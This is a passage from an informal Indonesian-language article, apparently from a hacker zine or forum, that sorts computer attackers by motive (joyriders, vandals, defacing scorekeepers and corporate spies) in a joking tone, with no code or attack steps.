kelabakan menjawabnya!? Stuck/hung akan menimpa server. Jadi bukan server lagi namanya!?
(servicenya mati masak dibilang server? hehehe....)

Joyrider
--------
Nah, ini namanya serangan iseng!? Karena kebanyakan baca novel-novel hacking dan gak bisa
belajar benar, isenglah jadinya nyoba-nyoba nyerang pake ilmu-ilmu instan super cepat
(istilahnya 'onani' dimesin orang). Atau dengan alasan pengen tau isinya mesin orang!? =).
Yang jelas serangan jenis ini rata-rata karena rasa ingin tau, tapi ada juga yang sampe
menyebabkan kerusakan atau kehilangan data.

Vandal
------
Jenis serangan spesialis pengrusak!? nothing else to explain mbah!? =)

Scorekeeper
-----------
Serangan yang bertujuan mencapai reputasi hasil cracking terbanyak. Biasanya hanya
berbentuk deface halaman web (index/nambah halaman) dengan memampangakan NickName dan
kelompok tertentu. Sebagian besar masih tidak perduli dengan isi mesin sasarannya =).
Saat ini jenis penyerang ini lebih dikenal dengan sebutan WannaBe/Script kiddies.

Spy
---
Tiga hurup saja. Jenis serangan untuk memperoleh data atau informasi rahasia dari mesin
target. Biasanya menyerang pada mesin-mesin dengan aplikasi database didalamnya. Kadang
kala suatu perusahaan menyewa 'mata-mata' untuk mencuri data perusahaan rivalnya!? Mau
coba Pak? =)

Demikian dulu sedikit mengenai jenis serangan pada mesin target yang kebanyakan tentunya
Semoga menjadi referensi yg baik meski kurang layak. Caci maki dapat
ditujukan ke saya pribadi!?